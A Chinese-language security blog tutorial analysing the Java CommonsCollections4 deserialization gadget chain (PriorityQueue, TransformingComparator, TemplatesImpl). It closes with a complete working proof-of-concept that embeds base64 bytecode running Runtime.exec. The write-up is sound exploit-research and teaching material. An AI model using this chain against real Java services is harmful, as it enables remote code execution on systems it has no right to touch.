• [Java反序列化]—CommonsCollections4


    0x01:

    这条链子 前半段跟CC3 一样 ,都是动态加载字节码的过程,后边的构造用到了两个类,PriorityQueueTransformingComparator

    1. Gadget chain:
    2. ObjectInputStream.readObject()
    3. PriorityQueue.readObject()
    4. ...
    5. TransformingComparator.compare()
    6. InstantiaterTransformer.transform()
    7. TrAXFilter.TrAXfilter
    8. Method.invoke()
    9. Runtime.exec()

    链子:

    1. #class PriorityQueue
    2. PriorityQueue.readObject -> heapify()
    3. heapify() -> siftDown()
    4. siftDown() -> siftDownComparator()
    5. siftDownComparator() -> comparator.compare(); #com[arator 可控 = TransformingComparator
    6. #class TransformingComparator
    7. compare() -> transformer.transform() # transformer可控 = InstantiateTransformer
    8. 接上CC3的链子
    9. 简化就是 PriorityQueue类 -> TransformingComparator 类 -> CC3

    完整流程 

     

    PriorityQueue

    先看看需要用到的PriorityQueue 类。

    PriorityQueue()使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
    PriorityQueue(int initialCapacity)使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

    本篇主要用的到方法,add(E e):将指定的元素插入此优先级队列
     

    测试代码:

    1. package CommonsCollections4;
    2. import java.util.PriorityQueue;
    3. public class Test {
    4. public static void main(String[] args) throws Exception {
    5. PriorityQueue priorityQueue=new PriorityQueue(2);
    6. priorityQueue.add(4);
    7. priorityQueue.add(3);
    8. priorityQueue.add(2);
    9. priorityQueue.add(1); //add()添加指定元素到队列
    10. System.out.println(priorityQueue);
    11. System.out.println(priorityQueue.poll()); //poll获取队列的头
    12. }
    13. }

    大概就是入队的添加,poll() 获取队头,之所以用他,是因为他重写了自己的readObject()方法

    分析

    1. private void readObject(java.io.ObjectInputStream s)
    2. throws java.io.IOException, ClassNotFoundException {
    3. // Read in size, and any hidden stuff
    4. s.defaultReadObject();
    5. // Read in (and discard) array length
    6. s.readInt();
    7. queue = new Object[size];
    8. // Read in all elements.
    9. for (int i = 0; i < size; i++)
    10. queue[i] = s.readObject();
    11. // Elements are guaranteed to be in "proper order", but the
    12. // spec has never explained what that might be.
    13. heapify();
    14. }

    最后调用了 heapify();

    1. private void heapify() {
    2. for (int i = (size >>> 1) - 1; i >= 0; i--)
    3. siftDown(i, (E) queue[i]);
    4. }

    接着调用siftDown()

    1. private void siftDown(int k, E x) {
    2. if (comparator != null)
    3. siftDownUsingComparator(k, x);
    4. else
    5. siftDownComparable(k, x);
    6. }

    当comparator不为null时调用siftDownUsingComparator()

    1. private void siftDownUsingComparator(int k, E x) {
    2. int half = size >>> 1;
    3. while (k < half) {
    4. int child = (k << 1) + 1;
    5. Object c = queue[child];
    6. int right = child + 1;
    7. if (right < size &&
    8. comparator.compare((E) c, (E) queue[right]) > 0)
    9. c = queue[child = right];
    10. if (comparator.compare(x, (E) c) <= 0)
    11. break;
    12. queue[k] = c;
    13. k = child;
    14. }
    15. queue[k] = x;
    16. }

    最后调用comparator.compare(),而comparator在本类的构造方法中可控,所以关键就在于调用谁的compare()

    1. public PriorityQueue(Comparatorsuper E> comparator) {
    2. this(DEFAULT_INITIAL_CAPACITY, comparator);
    3. }
    4. public PriorityQueue(int initialCapacity,
    5. Comparatorsuper E> comparator) {
    6. // Note: This restriction of at least one is not actually needed,
    7. // but continues for 1.5 compatibility
    8. if (initialCapacity < 1)
    9. throw new IllegalArgumentException();
    10. this.queue = new Object[initialCapacity];
    11. this.comparator = comparator;
    12. }

    TransformingComparator

    这里用到的是 TransformingComparator 类,在该类中发现compare(),并且调用transform()方法,后边的就跟之前都一样了

    1. public int compare(final I obj1, final I obj2) {
    2. final O value1 = this.transformer.transform(obj1);
    3. final O value2 = this.transformer.transform(obj2);
    4. return this.decorated.compare(value1, value2);
    5. }

    这个类 在CC3 版本是无法使用的,因为CC4 才继承了serialize接口。

    1. //CC 3.2.1
    2. public class TransformingComparator implements Comparator {
    3. //CC 4.0
    4. public class TransformingComparator implements Comparator, Serializable {

    分析分析

    后边跟CC3 一样  直接贴过来

    1. public static void main(String[] args) throws Exception {
    2. Templates templates = new TemplatesImpl();
    3. byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
    4. setFieldValue(templates,"_name","snowy");
    5. setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
    6. Transformer[] transformers=new Transformer[]{
    7. new ConstantTransformer(TrAXFilter.class), //将对象返回
    8. new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
    9. };
    10. ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
    11. }

    在执行到 compare() 的时候,他执行的是  this.transformer的transform(obj1)方法

    final O value1 = this.transformer.transform(obj1);

    所以我们需要构造  this.transformer=chainedTransformer :

    也就是: chainedTransformer.transformer(obj1);

    构造器:

    需要传Transformer的子对象 ,刚好 chainedTransformer就是其子对象

    构造:

    TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
    

    链子就接上了,我们已经接上了后半段的地方:

     而 PriorityQueue 中需要调用 comparator.compare() ,所以 这里的comparator需要是TransformingComparator才能接上,

    看到PriorityQueue的构造方法 也是可以直接传的。

    构造器控制一下 comparator的值为 comparator=TransformingComparator类  构造一下:

    PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
    

    但是不能反序列化成功,原因有两个,我们打断点调试下

    原因其一在这个地方:

     这里会进行i = (size >>> 1) -1,只有当(size >>> 1) -1>=0时本轮循环才会执行调用siftDown()

    这里可以运行下

    只有2右移时才会 i >=0 进入 siftDown()

    java中有三种移位运算符

    << : 左移运算符,num << 1,相当于num乘以2

    >> : 右移运算符,num >> 1,相当于num除以2

    >>> : 无符号右移,忽略符号位,空位都以0补齐

     所以这里size至少为2时,经过右移操作后才能等于1,经过1-1之后i的值才能等于0从而进入循环,所以这里就要为size添加两个值

    1. priorityQueue.add(1);
    2. priorityQueue.add(2);

    添加完后 执行一下

     报错

    原因是

    1. public boolean add(E e) {
    2. return offer(e);
    3. }

    在add()中会调用offer()

    1. public boolean offer(E e) {
    2. if (e == null)
    3. throw new NullPointerException();
    4. modCount++;
    5. int i = size;
    6. if (i >= queue.length)
    7. grow(i + 1);
    8. size = i + 1;
    9. if (i == 0)
    10. queue[0] = e;
    11. else
    12. siftUp(i, e);
    13. return true;
    14. }

    而在offer() 中调用了siftUp() ,接着就一串 siftUpUsingComparator()->siftUpUsingComparator()->compare()......,

    就在序列化时执行执行了,而这里的并没有执行,因为少了这里:

    setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
    

    之前cc3中把他去掉了  ,因为在执行readObject时,会默认初始化,但在这里想通过序列化触发的话,就要加上这条。接着回到刚才的问题,想让他在反序列化前不执行,就需要将transformingComparator的值修改为一个没用的值,绕过调用

    TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
    

    之后再在add()方法执行结束后,通过反射将transformingComparator修改回来

    1. Class c=transformingComparator.getClass();
    2. Field transformField=c.getDeclaredField("transformer");
    3. transformField.setAccessible(true);
    4. transformField.set(transformingComparator,chainedTransformer);

    POC:

    1. package CommonsCollections4;
    2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    3. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
    4. import org.apache.commons.collections4.Transformer;
    5. import org.apache.commons.collections4.comparators.TransformingComparator;
    6. import org.apache.commons.collections4.functors.ChainedTransformer;
    7. import org.apache.commons.collections4.functors.ConstantTransformer;
    8. import org.apache.commons.collections4.functors.InstantiateTransformer;
    9. import javax.xml.transform.Templates;
    10. import java.io.*;
    11. import java.lang.reflect.*;
    12. import java.util.Base64;
    13. import java.util.PriorityQueue;
    14. public class cc4 {
    15. public static void main(String[] args) throws Exception {
    16. Templates templates = new TemplatesImpl();
    17. byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
    18. setFieldValue(templates,"_name","Sentiment");
    19. setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
    20. Transformer[] transformers=new Transformer[]{
    21. new ConstantTransformer(TrAXFilter.class),
    22. new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
    23. };
    24. ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
    25. TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
    26. PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
    27. priorityQueue.add(1);
    28. priorityQueue.add(0);
    29. Class c=transformingComparator.getClass();
    30. Field transformField=c.getDeclaredField("transformer");
    31. transformField.setAccessible(true);
    32. transformField.set(transformingComparator,chainedTransformer);
    33. serialize(priorityQueue);
    34. unserialize("1.txt");
    35. }
    36. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
    37. Field field = obj.getClass().getDeclaredField(fieldName);
    38. field.setAccessible(true);
    39. field.set(obj,value);
    40. }
    41. public static void serialize(Object obj) throws IOException {
    42. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
    43. out.writeObject(obj);
    44. }
    45. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    46. ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
    47. Object o = In.readObject();
    48. return o;
    49. }
    50. }

  • 相关阅读:
    去中心化衍生品协议内卷,ZKX 能否通过差异化道路突出重围?
    【老生谈算法】matlab常用算法程序合集——常用算法
    Qualcomm英文报告资料合集
    ES6中的Promise对象
    Go 语言运算符
    Java进阶(十五)XML、XML解析、设计模式
    微服务与中间件系列——Feign
    控制系统分析2(线性系统稳定性、和可控性)
    【C语言】文件操作详解
    2023年中国一次性医用内窥镜市场发展现状分析:相关产品进入上市高峰期[图]
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/128027544